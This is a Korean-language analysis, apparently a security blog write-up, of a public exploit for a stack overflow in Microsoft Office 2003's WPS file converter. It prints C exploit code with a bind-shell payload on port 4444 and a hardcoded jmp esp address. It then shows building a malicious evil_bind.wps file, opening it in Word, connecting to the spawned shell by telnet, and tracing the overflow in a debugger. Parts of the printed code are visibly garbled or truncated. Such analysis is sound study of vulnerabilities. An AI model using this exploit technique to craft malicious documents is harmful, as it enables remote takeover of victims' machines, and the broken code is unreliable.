MS Office.WPS File Stack Overflow Exploit 분석 (http://milw0rm.com/ 에공개된 exploit 분석 ) 2008.03.03 v0.5 By Kancho ( kancholove@gmail.com, www.securityproof.net ) milw0rm.com에 2008년 2월 13일에공개된 Microsoft Office.WPS File Stack Overflow 취약점과그 exploit 코드를분석해보고자합니다. 테스트환경은다음과같습니다. - Host PC : Windows XP Home SP2 5.1.2600 한국어 - App. : VMware Workstation ACE Edition 6.0.2 - Guest PC Windows XP Professional SP2 5.1.2600 한국어 Windows Office 2003 한국어 먼저취약점을가지는.WPS 파일이무엇인지알아보도록하겠습니다..WPS 파일은 Microsoft Works Text Document 파일을나타내는확장자입니다. Works는개인내지소규모기업용으로사용하는일종의통합소프트웨어입니다. 오피스에비해 light한제품으로생각하시면될것같습니다. 실제 Works를사용하는국내사용자가많이없다고합니다. 그리고 Microsoft에서작년 (2007년) 여름즈음에 Works를무료배포한다는뉴스가발표 1 되었습니다. 이취약점은 Microsoft Office 2003에존재하는.WPS 파일을 RTF로바꾸는 filter에존재합니다. 조금더자세하게는 WPS 파일로부터 Section을읽는함수내에서 Stack Overflow가발생하게됩니다. 따라서 TEXT Section의크기를 0x10보다크게한다면쉽게 exploit을할수있다고하는데이에대해서는뒤에다시자세하게다루도록하겠습니다. 우선 milw0rm 에게재된 exploit 코드를동작시켜보도록하겠습니다. 대상시스템은 Windows XP Professional SP2 한국어버전입니다. 여기에 Office 2003 한국어버전을설치하였습니다. 그리고기존 code에는 shellcode가계산기를실행시키는것이었는데이를 4444번 port로 shell binding을하는 code로바꾸어보도록하겠습니다. 이 shellcode는 1 http://www.techcrunch.com/2007/07/30/microsoft-offers-works-for-free/
metasploit에서구할수있습니다. 이외에 code내에서시스템의존적인부분이없는지살펴보도록하겠습니다. ********************************************************************************************************* #include <stdio.h> #include <windows.h> unsigned char uszwpsheader[] = /* WPS Header */ "\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; unsigned char uszshellcode[] = /* Shellcode - metasploit bind 4444 */ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x91\xa4\x93\x40\x12\x5b\x45\xbf"; TARGET targets[] = { { "Windows XP SP2 de ntdll.dll", "\xed\x1e\x94\x7c" }, /* jmp esp */ }; int main( int argc, char **argv ) { char szbuffer[1024*10]; FILE *f; void *pexitprocess[4]; memset(szbuffer, 0x90, 1024*10); printf("[+] Creating WPS header...\n"); memcpy( szbuffer, uszwpsheader, sizeof( uszwpsheader ) - 1 ); 1 ); printf("[+] Copying addr && nops && shellcode...\n"); memcpy( szbuffer + sizeof( uszwpsheader ) - 1, targets[atoi( argv[1] + 1 )].uszret, 4 ); memcpy( szbuffer + sizeof( uszwpsheader ) + 3, uszshellcode, sizeof( uszshellcode ) - f = fopen( argv[2], "wb" );
if ( f == NULL ) { printf("[-] Cannot create file\n"); return 0; } fwrite( szbuffer, 1, sizeof( szbuffer), f ); fclose( f ); printf("[+].wps file succesfully created!\n"); return 0; } ********************************************************************************************************* Exploit code를살펴보면 main 함수위에 target system과 ntdll.dll내의 jmp esp 명령어의주소가하드코딩되어있음을알수있습니다. 따라서지금테스트해볼대상시스템의 jmp esp 주소를찾아야합니다. 이를위해이전에 SEH Overwrites Simplified 문서에서언급했던 findjmp2 라는툴을사용하도록하겠습니다. 이툴은다음주소에서다운로드받을수있습니다. 다운로드 : http://blackhat-forums.com/downloads/misc/findjmp2.rar 이툴을이용해서 ntdll.dll 내의 jmp esp 명령어의주소를찾아보도록하겠습니다. C:\Documents and Settings\freeman>"C:\Documents and Settings\freeman\ 바탕화면 \F indjmp2.exe" ntdll.dll esp Findjmp, Eeye, I2S-LaB Findjmp2, Hat-Squad Scanning ntdll.dll for code useable with the esp register 0x7C944393 call esp 0x7C971EED jmp esp 0x7C988DB3 call esp Finished Scanning ntdll.dll for code useable with the esp register Found 13 usable addresses 결과를보시면대상시스템의 jmp esp 명령어의주소는 0x7C971EED임을알수있습니다. 이주소값으로 exploit code를바꾸어컴파일을해서실행해보도록하겠습니다. 참고로이 exploit
code 는취약함을이용할수있는조작된 WPS 파일을생성하는 code 입니다. 컴파일후실행해보도록하겠습니다. C:\...\freeman>"C:\...\freeman\ 바탕화면 \exploit.exe" Microsoft Office.WPS Stack Overflow Adam Walker (c) 2007 [+] Targets: (1) Windows XP SP2 ntdll.dll de Usage: wps.exe <target> <file> Usage 에맞춰다시실행해보도록하겠습니다. C:\...\freeman>"C:\...\freeman\ 바탕화면 \exploit.exe" 1 evil_bind.wps [+] Creating WPS header... [+] Copying addr && nops && shellcode... [+].WPS file succesfully created! 정상적으로동작한결과 evil_bind.wps 파일이생성되었음을알수있습니다. 그리고이파일을 Word 로열어보도록하겠습니다. 그러면다음과같은메시지를볼수있으면서 Word 프로그램이 응답없음 이되어있음을볼수있습니다. 그렇다면 Shellcode는실행되었는지 netstat으로확인해보도록하겠습니다. C:\Documents and Settings\freeman>netstat -an
Active Connections Proto Local Address Foreign Address State TCP 0.0.0.0:135 0.0.0.0:0 LISTENING TCP 0.0.0.0:445 0.0.0.0:0 LISTENING TCP 0.0.0.0:4444 0.0.0.0:0 LISTENING TCP 127.0.0.1:1029 0.0.0.0:0 LISTENING UDP 192.168.135.147:138 *:* TCP 4444번포트가대기중임을확인할수있습니다. 즉, Shellcode가수행되었다고볼수있습니다. 그렇다면 remote system에서 telnet으로대상시스템에접속해보도록하겠습니다. telnet 192.168.135.147 4444 명령을실행시킨결과접속이성공했습니다. netstat으로다시확인해보도록하겠습니다. C:\Documents and Settings\freeman>netstat -an Active Connections Proto Local Address Foreign Address State TCP 0.0.0.0:135 0.0.0.0:0 LISTENING TCP 0.0.0.0:445 0.0.0.0:0 LISTENING TCP 192.168.135.147:4444 192.168.135.132:3922 ESTABLISHED UDP 192.168.135.147:138 *:* 보셨다시피 exploit code 는단순히취약성을이용하는 WPS 파일을생성하는것입니다. 지금부터
는 Word 프로그램내에서 shellcode 가동작하는과정을분석해보도록하겠습니다. 먼저 ollydbg로 MS Word Office 2003의실행파일을엽니다. Word 파일이큰관계로 ollydbg에서열때 40% 정도밖에진행이되지않은상태에서오래시간이걸립니다. Space를눌러멈춘뒤 F9로그냥실행하시면 Word 프로그램이실행되는것을볼수있습니다. 실제로 Word 프로그램이취약한파일을열어처리를하는도중에취약점이발생한것이기때문에 fopen() 이나 CreateFileA(), CreateFileW() 등의함수를통해대상파일을접근할것이라는것을알수있습니다. 따라서파일을여는함수를 Ctrl+G를통해찾아모두 Break Point를걸어주도록하겠습니다. Break Point를건뒤 Word 프로그램내에서대상파일을 Open하면 CreateFileW() 에서멈추는것을확인할수있습니다. 대상 WPS 파일을 Open한이후에는메모리에 Mapping할것을추측할수있습니다. 따라서 CreateFileMappingA(), CreateFileMappingW() 함수가호출되는지점을역시 Break Point로지정해두고대상 WPS파일이메모리에올라오는지확인해보도록하겠습니다. CreateFileMappingW() 함수가호출되는부분을찾아리턴되어돌아올위치에 Break Point를설정해놓고 F9를눌러실행합니다. F9를몇번더눌러 CreateFileMappingW() 함수가여러번호출된이후에 Memory를확인해보면대상 WPS 파일이올라와있는것을확인해볼수있습니다. 다만몇번의호출이이루어지는지는여러번의반복수행을통해알수있었습니다. 그리고 WPS파일이메모리에올라와있는것은확인할수있었지만 F9를눌렀기때문에이미 shellcode가수행되어버린것역시 netstat 명령을통해확인할수있습니다. 따라서 shellcode가수행되기바로직전까지 F9를눌러실행한뒤 F8과 F7을통해 tracing 하도록하겠습니다.
계속 tracing을하다보면 ( 이부분에대해서는여러번해보는방법밖에는없는것같습니다. 분석에있어노하우가있으신분은알려주시면감사드리겠습니다.) 특정루틴에서반복을통해 Stack에데이터를복사하는것을확인할수있습니다. Stack에한번에 12bytes씩 0x2f번반복을통해데이터를저장합니다. 반복횟수 0x2f번은 exploit code에서 WPS파일의 header 속에설정할수있습니다. 즉, WPS 파일 header 데이터값을살펴보면, 0000810: 0002 0000 000a 0000 f801 0e00 ffff ffff... 0000820: 1800 5445 5854 0000 2f00 0000 0000 0000..TEXT../... 0000830: 0000 0000 0000 0000 0000 0000 0000 ed1e... 0000840: 977c 9090 9090 9090 9090 9090 9090 9090.... ASCII값으로 TEXT 이후 0x2f값으로반복횟수를, 0x7c971eed값으로 Stack내 return address를, 이후에는 shellcode를넣음으로써 Stack Overflow를발생시킬수있습니다. 각위치는 WPS 파일포맷에맞추어설정할수있습니다. 참고로 WPS파일은 Microsoft Compound Document File Format을따르며 Office 2007 이전의 Word, PPT 등의파일은이포맷을따릅니다. 이포맷에대한설명은다음문서를참고하시기바랍니다. 참고문헌 : http://sc.openoffice.org/compdocfileformat.pdf 함수가리턴할때의 Stack 을보면덮어쓰여진것을볼수있습니다. Exploit code 에서설정해놓은 0x7C971EED 로리턴하면 jmp esp 가실행되어다시 0x124500 으로
돌아오는것을확인할수있습니다. Exploit code 내에서바이너리로설정되어있던 header 값은결국 WPS 파일포맷인 Compound Document File Format에미리맞추어진값입니다. 내부적인포맷에맞게덮어쓸크기를크게설정하고덮어쓸 return address 값과 shellcode를설정함으로써 Stack Overflow를일으켜 shellcode 를수행시킬수있습니다. 이번분석은파일포맷에저장되어있는여러데이터값들을메모리에각각올려사용할때그크기의제한을제대로검사하지않아서발생한것입니다. 이처럼악성바이너리가아닌조작된문서역시보안에위협적인요소임을다시한번확인할수있습니다.